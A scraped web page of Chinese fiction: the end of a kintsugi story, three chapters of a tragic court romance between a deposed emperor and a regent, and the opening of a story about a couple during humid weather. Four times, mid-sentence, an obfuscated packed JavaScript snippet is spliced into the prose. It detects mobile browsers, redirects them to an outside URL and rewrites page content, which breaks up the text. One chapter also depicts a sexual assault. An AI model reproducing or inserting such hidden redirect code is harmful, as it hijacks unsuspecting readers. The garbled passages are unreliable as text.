但这些裂痕，不是通向虚无的深渊。 它们是入口。 是光线进入的入口，是金粉填入的入口，是让一个人的生命变得更加丰富、更加有厚度的入口。 没有那些裂痕，金子就无处安放。 没有那些破碎的过往，此刻的圆满就显得轻飘飘的，毫无分量。 李默低下头，看着自己的手掌。那上面多了几个茧子，指甲缝里还残留着一点洗不掉的大漆渍。 他爱这具身体，爱这些痕迹，爱此刻坐在他对面、嘴唇上沾着一粒米饭的阿满。 “阿满。” “嗯？” “明年的今天，我们去酿点李子酒吧。” 阿满抬起头，眼睛在夕阳下亮得惊人：“好啊。那还得再去弄几个坛子。” 李默点点头：“破的也没事，我能修。” 窗外的蝉鸣声渐渐落下去了，取而代之的是夜虫的呢喃。屋里的灯亮了起来，暖黄色的光晕笼罩着那只金缮的碗，反射出几道熠熠生辉的光芒。 只要你愿意拿出金子般的时间去修补，每一个裂痕都是新的起点。 每一个日子，都是崭新的元年。 8. 《凤台旧卷》（1）（BE） 凤台也是会老的。 这老，不是一日两日的颓败，而是像某种慢性的毒疮，是从骨头缝里渗出来的朽坏。起初或许只是檐角那只惊鸟的铜铃哑了嗓子，再后来，连那层曾引以为傲的朱漆也像老人的皮肉般绽开、卷曲、剥落，露出了底下灰败且布满虫眼的木理。风一吹，便扑簌簌地往下掉红色的粉末，像是这楼阁在咳血。 冬至刚过，那场酝酿了许久的雪终于落了下来。它下得极安静，带着一种掩埋一切罪证的耐心，将这具残躯草草覆盖。只剩个惨白的、嶙峋的轮廓，孤悬在皇城西北角的阴影里，像极了前朝史书里那些语焉不详、被故意抹去的断章。 谢疏就坐在这断章的句点上。 他拥着那件磨秃了毛锋的旧狐裘，整个人陷在一把太师椅里。那椅子大得有些不合时宜，仿佛一张巨兽张开的口，含着他这把只剩一把骨头的身子。这里没有地龙，窗户纸也破了几处，冷风像细针一样扎进来，不讲道理地往骨髓里钻。 案上的博山炉早死了。里头积着半寸多厚的香灰，是冷的。谢疏垂着眼，目光涣散地盯着那堆死灰。他觉得自己的魂魄大约也和这灰一样，是被烧透了之后剩下的渣滓，没重量，风一吹就散了，聚都聚不起来。 时间在这里是黏稠的，甚至是不流动的。 恍惚间，意识开始像失控的水银般四溢流淌。他看见了光。不是此刻窗外惨淡的雪光，而是金色的、暖得让人想流泪的光。那是二十年前的东宫。 那时候的雪，似乎也是这样下的。 记忆里的画面没有声音，只有大片大片刺眼的白。那也是一个冬日，但他不觉得冷。因为有人正跪在雪地里替他系披风的带子。那人的手指修长，指节分明，不像是个武人，倒像个拿笔杆子的书生。那人抬起头来，眉眼清冽如泉，尚未沾染半点沙场的血腥气，笑起来时眼角会微微弯起一个好看的弧度。 “殿下，”那少年的口型在动，“瑞雪兆丰年。” 瑞雪。丰年。 谢疏的嘴角极轻地扯动了一下，露出一个比哭还难看的笑。那笑容转瞬即逝，像是冰面上裂开的一道纹，还没来得及蔓延就重新冻结了。 那个少年死了。死在十年前那场漫天的大火里，死在城门被攻破的那一声巨响里。取而代之的，是如今那个权倾朝野、手握重兵的摄政王。 而谢疏自己，也死了。活下来的这个，不过是一具名叫“废帝”的行尸走肉，被囚禁在这座名为凤台的巨大棺椁里，日复一日地等待着彻底腐烂。 更漏声是什么时候响起的，谢疏没有察觉。 那种滴答、滴答的声音，单调而枯燥，像是有人拿着一把钝刀，在一刀一刀地割着时间的皮肉。 直到那阵沉重的脚步声传来。 那声音不急不缓，每一步都踩得很实，像是铁履碾碎了琉璃，又像是重锤击打在谁的心口。它穿透了风雪的呼啸，穿透了凤台空旷的回廊，带着一股令人窒息的压迫感，逼近了这扇半掩的门扉。 谢疏的手指无意识地收紧，抠住了袖口的一处断线。指尖泛白，那是身体本能的抗拒与战栗。 他太熟悉这个声音了。这十年里，每一个噩梦的尽头，都是这个声音。 门并没有被完全推开，只是被人粗暴地推开了一道足以容纳一人侧身的缝隙。寒风趁虚而入，卷着雪沫子扑在谢疏的脸上，像是一记冰冷的耳光。 陆寒章就立在那道门缝的光影交界处。 他没点灯笼。身后是漆黑如墨的夜色，身前是屋内那一盏将灭未灭的残油灯投下的昏黄。他就站在那里，半身隐没在黑暗中，高大的身躯几乎堵住了所有的光。 谢疏嗅到了一股味道。 不是酒味，也不是脂粉味，而是一股浓重得化不开的铁锈味。那是血浸透了甲胄，干了又湿，湿了又干，最后长进纹理里，与皮革、汗水混合发酵后的味道。那是死亡的味道。 “今夜除夕。” 陆寒章开了口。他的声音很沉，带着一种被风沙砺过的嘶哑，像是隔着厚重的城墙传来的，听不真切，却又震得人耳膜生疼。 谢疏没有回头。他依旧盯着那堆死灰，仿佛那里头藏着什么经世治国的大学问。 “宫里的钟鼓响过了。”谢疏的声音很轻，轻得像是游丝，却又透着一股子冷硬的疏离，“摄政王若是来听曲赏舞的，怕是走错了地界。这里只有风声，没有丝竹。” “孤来看看你死了没。” “托福，还剩一口气。”谢疏终于抬起头，目光越过那道门缝，落向陆寒章那张在阴影中模糊不清的脸，“这凤台高寒，是个天然的冰窖。孤这把骨头刚好冻着，烂得慢些，也能让摄政王多看两年笑话。” 陆寒章没有接话。 空气在这一刻凝固了。两人隔着一道门槛，一内一外，一坐一立，像是隔着一条早已干涸却依旧无法逾越的护城河。河底填满了尸骸，那是他们共同的过去，是那些曾经把酒言欢、抵足而眠的日子。 陆寒章终于动了。 他跨过门槛，带进来的风吹得案上的冷灰扑簌簌乱飞，迷了谢疏的眼。 他走得很慢，甲胄上的叶片随着动作发出轻微的摩擦声，那是极其刺耳的金属鸣响。他走到那张紫檀大案前，停下，居高临下地审视着谢疏。 那是一种什么样的眼神啊。 没有温度，没有怜悯，甚至没有恨。那是一双枯井般的眼睛，深不见底，里头藏着太多的欲念和罪孽，黑沉沉地压下来，让人喘不过气。他看着谢疏，就像是在看一件自己亲手打碎、又强行用锔钉拼凑起来的瓷器。裂痕还在，缺口还在，丑陋不堪，却又因为那是他唯一的战利品，而变得扭曲珍贵。 “瘦了。” 陆寒章忽然伸出手，隔着两层单薄的素衣，按住了谢疏的肩膀。 那手掌很大，虎口处布满了厚茧，带着行伍之人特有的粗粝。掌心的温度烫得惊人，透过冰冷的衣料传导进来，烫得谢疏猛地一颤，下意识地想要躲避。 可陆寒章的手指如同铁钳一般，死死地扣住了他嶙峋的肩胛骨，不允许他有分毫的退缩。 “谢疏，”陆寒章叫他的名字，声音里带着一种近乎残忍的亲昵，“这江山换了姓，这皇城换了主，唯独你这副骨头，还是硬得让人厌烦。” “厌烦便毁了它。”谢疏抬起眼，眸子黑得像两丸水银，映不出人影，只有一片死寂，“反正你也毁得差不多了。也不差这一把灰。” “毁了多可惜。”陆寒章轻笑了一声，那笑意未达眼底，反倒透出一股森然的鬼气，“孤还没玩够。” 意识又开始飘忽。谢疏觉得眼前这个人很陌生，却又熟悉到了骨子里。 他想起多年前，他们在东宫的书房里谈论边关战事。那时候的陆寒章，眼里是有光的，那是想做卫青、霍去病的万丈豪情。陆寒章指着舆图上的雁门关，对他说：“殿下，臣愿做你手中的刀，替你守住这万里河山。” 刀。 是啊，他确实是一把好刀。锋利，坚韧，无坚不摧。只是这把刀最后并没有刺向敌人，而是调转了锋芒，捅进了主君的心窝子。 这一捅，就是十年。血流干了，伤口烂了，结了痂，又被一次次撕开。 谢疏觉得有些冷，那种冷是从心里泛上来的。他看着陆寒章那张近在咫尺的脸，那上面已经有了风霜的痕迹，鬓角甚至染了些许霜白。他们都老了。在这场不死不休的纠缠里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088232|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，谁也没有赢，只是在互相消耗，直到油尽灯枯。 “孤明日北伐。” 陆寒章的手指顺着谢疏的脊背滑下，最后停在他后颈那块脆弱的骨头上，像是在抚摸一只待宰的羔羊，又像是在确认某种所有权。 谢疏的身体僵硬得像块石头。 “北伐……”他咀嚼着这两个字，嘴角勾起一抹讥诮而悲凉的弧度，“去雁门关？” “是。” “好地方。”谢疏低声呢喃，目光穿过陆寒章的肩膀，看向窗外那漆黑的夜空，“那里雪大，埋得下千军万马。也埋得下摄政王的一世英名。” 陆寒章的手指骤然收紧，捏得谢疏颈骨生疼。他猛地俯下身，鼻尖几乎触到了谢疏冰凉的耳廓，呼吸滚烫而急促，带着一股不容置喙的压迫感。 “你想要孤死？” “我只想要个清净。”谢疏闭上眼，声音平静得近乎残忍，“陆寒章，这出戏唱了太久了，该散场了。你累了，我也累了。” “散场？” 陆寒章像是听到了什么天大的笑话。他松开手，直起身，在那昏黄的灯光下爆发出一阵低沉的笑声。那笑声在空旷的殿阁里回荡，撞击着斑驳的墙壁，震得顶上的灰尘扑簌簌落下。 “谢疏，你听着。” 陆寒章忽然止住了笑，那双鹰隼般的眼睛死死钉在谢疏脸上，每一个字都像是从牙缝里挤出来的，带着血淋淋的狠厉。 “这戏台子是孤搭的，角儿也是孤点的。孤没喊停，谁也不许下台。哪怕是死，你也得给孤死在这戏台上。” 他猛地从袖中抽出一物，重重地拍在案上。 那是一封火漆封缄的密信，信封上沾着半干的血迹。 “这是前线八百里加急的战报。”陆寒章的声音冷得像冰，“北狄叩关，连破三城。你心心念念的谢家江山，如今只剩下一层窗户纸。孤若是撒手不管，明日这凤台就会被夷为平地，你这废帝，也只能去给那些蛮子当脚踏。” 谢疏没有看那封信。他只是觉得疲惫，那种深入骨髓的疲惫让他连抬一下眼皮都觉得费力。 “那便夷为平地吧。”谢疏淡淡地说，“干净。” 陆寒章被这两个字激怒了。那是一种被无视、被否定的暴怒。他这一生，为了这个人，为了这所谓的江山，手上沾满了鲜血，背负了万世骂名。可在这个人眼里，这一切都只是一场肮脏的闹剧，只想一烧了之。 “干净？” 陆寒章欺身而上，一把揪住谢疏的衣领，将他整个人从椅子里提了起来。两人的脸贴得极近，呼吸交缠，却是剑拔弩张。 “你想得美。” 陆寒章咬着牙，眼底泛起一片猩红，“孤就算是下地狱，也要拖着你一起。这黄泉路上太冷，孤一个人，走不惯。” 窗外，风雪骤紧。 狂风卷着大雪撞击着窗棂，发出砰砰的巨响，像是有无数冤魂在拍打着这座死寂的囚笼，想要冲进来，将这里的一切都撕成碎片。 谢疏在这剧烈的摇晃中，透过陆寒章那双盛怒的眼睛，看见了自己苍白如鬼魅的倒影。 那一刻，他知道，逃不掉了。 只要陆寒章还活着一天，这凤台就是他的牢笼，是他的坟墓，也是他唯一的归宿。 这一局棋，从那个瑞雪兆丰年的冬日开始，就已经注定是个死局。 “那就……一起下地狱吧。” 谢疏轻声说道，那声音轻得仿佛是对情人的呢喃，却又带着同归于尽的决绝。 在这除夕的夜里，在这废弃的凤台之上，两颗早已千疮百孔的心，终于在这绝望的深渊里，狠狠地撞在了一起。 碎了一地，谁也拼不起来。 9. 《凤台旧卷》（2）（BE） 并没有什么预兆，或者说，这十年的每一寸光阴都是预兆。 当陆寒章的手扼住那截脆弱的颈骨时，谢疏并没有反抗。他甚至感到了一种荒谬的释然，仿佛悬在头顶那把迟迟未落的铡刀，终于肯落下来了。 紫檀大案上的那方端砚被扫落在地。 “啪”的一声脆响，在这死寂的夜里显得惊心动魄。那是一方宋坑的眉纹砚，是当年谢疏行冠礼时，先帝所赐，后来他在东宫伴读时，陆寒章曾无数次在这方砚台里研过墨。墨汁曾溅在少年的袖口上，晕开一朵淡黑的云。 如今，它碎了。 黑色的碎石溅开，像是一滩凝固的血，又像是谁那点可怜的自尊，被生生踩进了泥里，再也拼凑不回原来的模样。 “看着孤。” 陆寒章的声音不再是刚才的低沉，而是带着一种被怒火烧哑了的粗粝。他单手制住谢疏的双腕，将其反剪按在冰冷的案面上。那案面太硬，上面还残留着几粒未擦净的沙砾，硌进谢疏苍白的皮肤里，带来一阵细密的刺痛。 谢疏被迫仰起头。他的长发散乱，半遮着脸，只露出一双失焦的眼和那一截绷得极紧的脖颈。那脖颈下的青色血管突突直跳，像是濒死的鱼在网中最后的挣扎。 “你不是要清净吗？”陆寒章欺身而上，阴影如山峦崩塌般压了下来，“孤今日就毁了你的清净。” 这是一场关于权力的处刑。 陆寒章的动作里没有半分温存，只有行伍之人特有的杀伐决断。他像是在攻打一座负隅顽抗的城池，不需要劝降，不需要谈判，只需要用绝对的暴力轰开城门，将旌旗插上城头，宣告占有。 衣帛撕裂的声音在风雪声中显得格外尖锐。 那一瞬间，寒意如钢针般扎入骨髓。谢疏颤抖了一下，本能地想要蜷缩起来，却被更强势地打开。 意识开始断裂，像是被狂风扯碎的经幡。 那一刻，感官被强行从肉身上剥离了。谢疏不再觉得痛，痛觉太具体了，而此刻这具躯体所承受的，是一种更为宏大的崩塌。 他觉得自己是一座正在经历地震的古城。地底深处的龙脉断了，发出沉闷的哀鸣。所有的城门被巨木撞开，千年的城墙在轰鸣中寸寸龟裂、剥落，化作漫天的尘埃。并没有具体的锐利刺入，只有一种被巨物碾过的沉重与窒息。他听见自己的骨骼在咯吱作响，那是梁柱折断的声音，是琉璃瓦坠地的脆响。 他被拽入了一片深海。冰冷的海水倒灌入肺腑，咸腥，苦涩，带着铁锈的味道。他在下坠，一直下坠，四周是无尽的黑暗，唯有体内那一点连接处，燃起了一把燎原的野火。那火烧得太旺了，烧穿了经脉，烧干了血液，将灵魂生生从躯壳里抽出来，扔进滚烫的熔岩里反复锻造。 在这剧烈的颠簸与眩晕中，时空开始错乱。他恍惚间看见了昔日的东宫，窗外也是大雪。陆寒章坐在灯下，手里拿着一卷《春秋》，正侧过头对他笑。那笑容温润如玉，说：“殿下，臣这一生，定不负你。” 画面陡然破碎。那卷书变成了染血的战报，那温润的笑容变成了此刻眼前这双赤红的、充满暴虐与绝望的兽瞳。 “谢疏……谢疏……” 有人在耳边叫他的名字，声音像是从地狱里传来的，带着咬牙切齿的恨意，又带着深入骨髓的痴缠。每一次撞击都像是在这具残躯上盖下一个耻辱的火印。 这就是所谓的“不负”吗？ 将他打碎，将他揉烂，将他变成一滩扶不上墙的烂泥，这就是陆寒章给他的结局。 他在这种极致的痛苦与荒谬中，缓缓闭上了眼。就像是一艘在暴风雨中彻底放弃了抵抗的孤舟，任由巨浪将其吞没，沉入那片死寂的海底。 不知过了多久，风雪声似乎远去了。 屋内重新归于那种令人心慌的死寂。只有更漏还在滴答、滴答，记录着这场残局。 谢疏瘫软在紫檀案上，像是一只被折断了翅膀、拔去了羽毛的鹤。 他的衣衫凌乱不堪，大半个肩膀布满了青紫的指痕，在惨白的肤色映衬下，显得触目惊心。他没有动，连呼吸都微弱得几不可闻，仿佛刚才那场浩劫已经带走了他所有的生气。 陆寒章直起了身。 他站在阴影里，慢条斯理地整理着衣冠。他的动作依旧是一丝不苟的，系腰带，扣护腕，理平衣褶。他依旧是那个不可一世、威严冷峻的摄政王，仿佛刚才那个失控的野兽只是谢疏的一场梦魇。 只有他微微颤抖的手指，泄露了他此刻内心的惊涛骇浪。 他低下头，目光落在谢疏身上。 那目光很复杂。有餍足后的空虚，有毁坏珍宝后的懊悔，但更多的，是一种无力回天的悲凉。他用最激烈的手段占有了这个人，却发现自己两手空空，什么也没抓到。 谢疏还在那里，却又似乎不在那里了。 陆寒章闭了闭眼，将眼底那一点湿意硬生生逼了回去。再睁开时，又是一片冷硬的铁石心肠。 他从袖口的暗袋里，抽出了一样东西。 那是一卷羊皮纸。皮质已经有些发硬了，边缘磨损得厉害，带着一股塞外的风沙味。 他并没有直接递给谢疏，而是随手一扔。 羊皮卷落在谢疏赤裸的胸口上，发出“啪”的一声轻响。那冰凉的触感激得谢疏睫毛轻颤，终于缓缓睁开了眼。 那双眼睛里什么都没有。没有恨，没有怒，甚至没有光。只有一片灰蒙蒙的雾，像是深秋清晨的霜气，冷得让人发颤。 “这是什么？”谢疏的声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088233|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哑得厉害，像是含着一口沙砾。他并没有伸手去拿，任由那卷羊皮压在心口，像是一块墓碑。 “雁门关的兵符，还有北境三州的布防图。” 陆寒章的声音恢复了平稳，那种令人心悸的、金属般的平稳。他转过身，背对着谢疏，似乎是不敢，也不愿再看那张脸。 “孤明日一早出兵。这一战，孤没打算活着回来。” 谢疏的手指动了动。 “若是孤死在北边，”陆寒章顿了顿，声音里带上了一丝不易察觉的决绝，“这东西你拿着。去找镇北军的旧部。他们只认兵符，不认人。拿着它，这江山……孤还给你。” 还？ 谢疏看着承尘上那只剥落了一半的金漆凤凰，忽然觉得好笑。 江山早已千疮百孔，人心也早已腐烂成泥。拿什么还？怎么还？ “陆寒章，”谢疏轻声开口，语气里带着一种看透了生死枯荣的倦意，“你以为，我是为了这个？” 陆寒章的背影僵硬了一瞬。 “是不是都不重要了。”他没有回头，大步走向门口，“重要的是，这是孤欠你的。哪怕是烂了、碎了，孤也得把它捧到你面前。” “至于你要不要，是扔了还是烧了，那是你的事。” 门被拉开了。 风雪瞬间灌入，将屋内那点残留的、暧昧而腥膻的热气吹得一干二净。 陆寒章停在门口，手扶着门框。他的指节用力到泛白，手背上的青筋暴起。他在等，或许是在等身后人的一句挽留，或者哪怕是一句诅咒。 可是身后一片死寂。 只有风吹动那卷羊皮纸的轻微声响。 陆寒章自嘲地扯了扯嘴角。他在期待什么呢？期待这堆死灰里能复燃出什么火花吗？ “谢疏。” 他在风雪中留下了最后一句话。 “若有来世，别再遇见孤了。” 说完，他一步跨入漫天的大雪之中。沉重的甲胄再次发出了那熟悉的撞击声，一步一步，走得决绝而仓皇，像是要逃离这个囚禁了他半生心魔的地方。 门没有关。 寒风呼啸着卷进来，吹得紫檀案上的残酒摇晃，吹得地上那堆碎裂的砚台也蒙上了一层白霜。 谢疏依旧躺在那里，胸口压着那卷沉甸甸的羊皮图。 他侧过头，看着那扇大开的门，看着那片白茫茫的夜色，看着那个背影彻底消失在风雪深处。 一滴泪，终于从他干涸的眼眶里滚落下来。 顺着眼角，滑过鬓发，滴落在冰冷的紫檀案上，瞬间晕开，像是一滴无声的墨。 崩塌之后，便是一片废墟。 而在废墟之上，大雪无声地落下，将一切罪孽与爱恨，统统埋葬。 10. 《凤台旧卷》（3）（BE） 陆寒章走了。 他走得决绝，没有回头。那沉重的铁甲撞击声，一步步碾过回廊的青砖，碾过积雪，最终被呼啸的风声吞没。 门扉半掩，像是一道尚未愈合的创口。寒风裹挟着雪沫长驱直入，扑在谢疏赤裸的胸膛上，带来一阵细密的、如针刺般的痛。 屋内的空气仿佛被抽干了。刚才那场暴烈的情事所残留的旖旎与血腥气，在风中迅速冷却，凝结成一种令人作呕的陈腐味道。 谢疏依旧躺在紫檀大案上。 他的身体僵硬得像一块被遗弃的冻肉。胸口压着那卷沉甸甸的羊皮图，随着微弱的呼吸起伏，像是一块压在坟头的石碑。 并没有撕心裂肺的哭喊，也没有劫后余生的庆幸。 他只是觉得累。那种累是从骨髓里渗出来的，顺着血管流遍全身，让他连动一动手指都觉得像是在搬运一座山。 他盯着虚空中的某一点，眼神涣散。恍惚间，他觉得这凤台不是凤台，而是一艘在岁月中搁浅的破船。陆寒章走了，把他一个人扔在这艘即将沉没的船上，还塞给他一把所谓的“钥匙”。 可这世上，哪里还有岸呢？ 良久，谢疏终于动了。 他缓缓撑起身子，动作迟缓而笨拙，像是生锈的机括在强行运转。那件旧狐裘滑落在地，他也懒得去捡，只随手扯过那件被撕破的中衣，胡乱裹在身上。 那卷羊皮图被他拿在手里。 粗糙的触感磨砺着指腹，带着一股塞外特有的膻味和硝烟气。这是陆寒章拿命去搏的东西，是这天下人争得头破血流的江山，是半个世纪的战火与枯骨。 如今，它就在他手里，轻得像一片枯叶。 谢疏赤着脚，踩在冰冷刺骨的方砖上。每走一步，脚底都像是踩在刀尖上，但他似乎感觉不到痛。他踉跄着走到墙角的炭盆边。 盆里的炭火早已熄灭了。只在灰白色的余烬深处，还埋着几星将死未死的红光，像是一只苟延残喘的兽眼。 他跪坐下来，膝盖磕在硬地上，发出一声闷响。 他从怀中摸出一枚火折子。那是他身上唯一的暖物。 “呼——” 他轻轻吹了一口气。 火折子亮起一点微弱的橘红，照亮了他那张苍白如纸的脸。眼睫低垂，在眼睑下投出一片鸦青色的阴影。他的神情很专注，专注得像是在进行一场庄严的祭祀。 意识在这一刻变得异常清晰，又异常抽离。 谢疏看着手里的羊皮卷，却仿佛透过它，看见了十年前的那个夜晚。也是这样的大雪，也是这样的火光。那时的他站在城楼上，看着陆寒章骑着黑马，撞开了宫门。那马蹄踏碎了御街的青石，也踏碎了他关于“盛世”的所有幻想。 “殿下，臣来救你了。”那时的陆寒章浑身是血，向他伸出手。 他信了。他握住了那只手。 这一握，就是十年的囚禁。 陆寒章以为这图是赎罪券，是能够修补破镜的胶漆。他以为只要把这江山还回来，只要把这失去的权柄重新塞回谢疏手里，那些背叛、那些折辱、那些在深夜里流干的血泪，就可以一笔勾销。 多么傲慢。 多么天真。 谢疏的嘴角勾起一抹极淡的笑。那笑意凉薄，透着一种看穿了世事荒谬后的悲悯。 他将火折子凑近了羊皮卷的边缘。 那一角早已磨损的皮革，在火舌的舔舐下迅速卷曲、焦黑，发出一股难闻的焦糊味。 “陆寒章……” 他轻声念着这个名字，声音沙哑，像是风穿过枯草。 火苗窜了起来。 羊皮是经过特殊硝制的，并没有立刻燃起大火，而是缓慢地、顽固地燃烧着。火光映在谢疏的眼底，跳跃着，扭曲着。 他看着那些代表着关隘、城池、河流的墨线，在火焰中扭曲变形，化作一团团黑色的焦炭。 雁门关烧了。 那是陆寒章镇守了三年的地方，那是埋葬了无数枯骨的地方。火舌吞噬了“雁门”二字，吞噬了那里的大雪与悲风。 云州烧了。 那是谢家起兵的地方，是这腐朽王朝的龙兴之地。 一切都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088234|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在烧。 权势、地位、仇恨、爱欲……那些曾经重若千钧的东西，在这一刻，都变成了这一点微不足道的灰烬。 谢疏的手指被火燎到了，传来一阵灼痛。但他没有松手。他执拗地捏着那未烧尽的一角，看着火焰一点点逼近指尖，仿佛是在通过这种疼痛，来确认自己还活着，来确认这场告别的真实性。 他想，这应该是他们之间最好的结局。 两不相欠。 从此以后，黄泉碧落，再无瓜葛。 当最后一寸羊皮化为灰烬时，谢疏松开了手。 黑色的灰烬落在早已冷却的炭盆里，与那些陈年的香灰混在一起，再也分不出彼此。 谢疏扶着墙，慢慢站了起来。 这一场烧，仿佛耗尽了他最后的一点精气神。他觉得身子轻飘飘的，像是一缕随时会散去的烟。 他转过身，看向那扇大开的门。 外头的雪下得更大了。鹅毛般的雪片密密麻麻地织成一张巨大的网，将天地笼罩其中。看不见远处的宫阙，看不见高耸的城墙，甚至看不见来时的路。 只有白。 无边无际、铺天盖地的白。 谢疏走到门槛边。寒风吹乱了他披散的长发，吹透了他单薄的衣衫，但他不再觉得冷。 因为心已经空了。 空了，便装不下冷暖，也装不下悲喜。 他伸出一只手，探向门外的风雪。 一片雪花落在他的掌心。冰凉，纯净，转瞬即逝。 “下雪了。” 他对着空无一人的夜色，轻声说了一句。声音很轻，没有叹息，没有遗憾，只是陈述一个再寻常不过的事实。 远处，皇城的钟鼓声再次响起。 “咚——咚——” 那是新年的钟声。 旧岁已除，新岁将至。 可这与他又有什么关系呢？ 谢疏收回手，没有去关门，也没有再看那堆灰烬一眼。他只是静静地立在风雪中，看着这白茫茫的大地。 天地浩大，而凤台渺小如尘。 11. 《回南天》（1） 林的视角： 凌晨三点一刻，我是被喉咙里那种像是吞了一团湿棉花的感觉噎醒的。 并没有什么惊天动地的响动。这栋老楼在这个钟点安静得像一座海底废墟，只有远处高架桥上偶尔掠过的车轮声，经过浓重雾气的层层过滤，传到耳边时已经钝化成了沉闷的嗡嗡声。 我试图翻身，但失败了。棉质的床单吸饱了水分，变得沉重且冰冷，紧紧地贴在我的后背和大腿上，像是一层被剥下来的、还没完全风干的兽皮。只要我稍微挪动一下，皮肤和布料之间就会产生一种令人不适的拉扯感，那种微弱的摩擦力在黑暗中被无限放大，让我觉得自己像是一条被保鲜膜裹住的死鱼。 太湿了。 我伸出手，指尖触碰到了床头那面刷着米白乳胶漆的墙壁。 墙在流汗。 并没有夸张，是真的在流淌。指腹下的触感滑腻、冰凉，带着一种类似软体动物爬行后留下的黏液质感。我顺着那道湿痕摸上去，指甲抠进了一道细微的裂缝里，那里甚至长出了一点毛茸茸的东西——不用开灯我也知道，是那种青灰色的霉菌，它们正借着这几天的回南天，在我头顶悄无声息地攻城略地。 我收回手，在枕巾上蹭了蹭，那种滑腻感却怎么也擦不掉。 身边的陈翻了个身。 她睡得很沉，半张脸埋在枕头里，呼吸声粗重且潮湿，像是一台运作过载的老旧风箱。她总是体热，在这个季节，她这个人本身就是一个巨大的、不断散发着热气和水汽的加湿器。 借着窗外透进来的那一点点浑浊的路灯光，我盯着她的后颈。那里有一层细密的汗珠，几缕碎发湿漉漉地黏在皮肤上，纠缠成一种毫无美感的死结。 不知怎么的，我突然感到一阵强烈的反胃。 这种反胃不是因为厌恶，而是源于一种过度的生理性亲密。在这个甚至连氧气都被水分挤占的空间里，我们离得太近了。 我能闻到她身上那种独特的气味——混合了白天在地铁里沾染的陌生人气息、没晒干的衣服那股馊味，以及她头皮油脂分泌出的微酸。这些气味在这个高湿度的密封罐头里无法消散，只能一遍又一遍地被我吸进肺里，就在我的肺泡里发酵、沉淀。 我想推开她，或者推开我自己。 鬼使神差地，我把手伸了过去，悬停在她裸露的肩膀上方，距离皮肤不到两厘米。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088235|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>我没有碰她。但这更糟糕。 因为在这两厘米的虚空里，空气是胶状的。我能感觉到她身体辐射出的热度，顺着那些肉眼看不见的水分子传导过来，粘在我的手心上。我们就这样通过这层厚厚的湿气连接着，像两块泡在同一盆污水里的海绵，即便没有接触，也在互相渗透。 她的汗变成了我的汗，她的呼吸变成了我的呼吸。 “陈……”我无声地张了张嘴，声带因为受潮而发不出声音。 我想把她摇醒，告诉她我觉得我要溺死了，告诉她我想把这面流泪的墙砸烂，或者告诉她我们应该分手，去两个干燥的、互不相干的城市。 但陈只是咕哝了一声，一条腿下意识地跨过来，重重地压在我的小腿上。那是沉甸甸的、温热的、无可辩驳的□□的重量。 我僵在那儿，感受着她皮肤那种稍微有点粗糙的质感摩擦着我的腿肚子。 那种尖锐的反胃感慢慢退潮，取而代之的是一种习以为常的绝望。我没有推开她的腿。在这漫长的、令人窒息的回南天深夜里，这可能是唯一一点真实的温度，哪怕它是湿的。 我重新闭上眼，任由那种发霉的气味将我淹没。 12. 《回南天》（2） 陈的视角： 除湿机亮红灯的时候，发出了一声尖锐的“滴——”。 在这凌晨四点的死寂里，这声音不像是一声提示，更像是一条被拉平的心电图直线。 我几乎是立刻就睁开了眼。身体像是一台设定好程序的旧机器，不需要缓冲，直接从睡眠切换到了待机状态。我撑起上半身，脊椎骨发出一串沉闷的响声，像是受潮的木地板被踩过。 必须得倒水了。如果不倒，机器停转半小时，这间屋子的湿度就会立刻从65%回升到令人窒息的95%。这是一场注定失败的防守战，但我不允许自己投降。 我掀开被子，脚掌踩在瓷砖地上。 地板并不是干的，上面覆盖着一层肉眼看不见的、似油非油的膜。每走一步，脚底板就要跟地面进行一次黏腻的撕扯，发出轻微的“吧唧”声。这种声音让我觉得自己不像是在家里走路，而是在某种巨大的反刍动物的胃里跋涉。 我走到除湿机旁，蹲下，熟练地抽出水箱。 四升水。 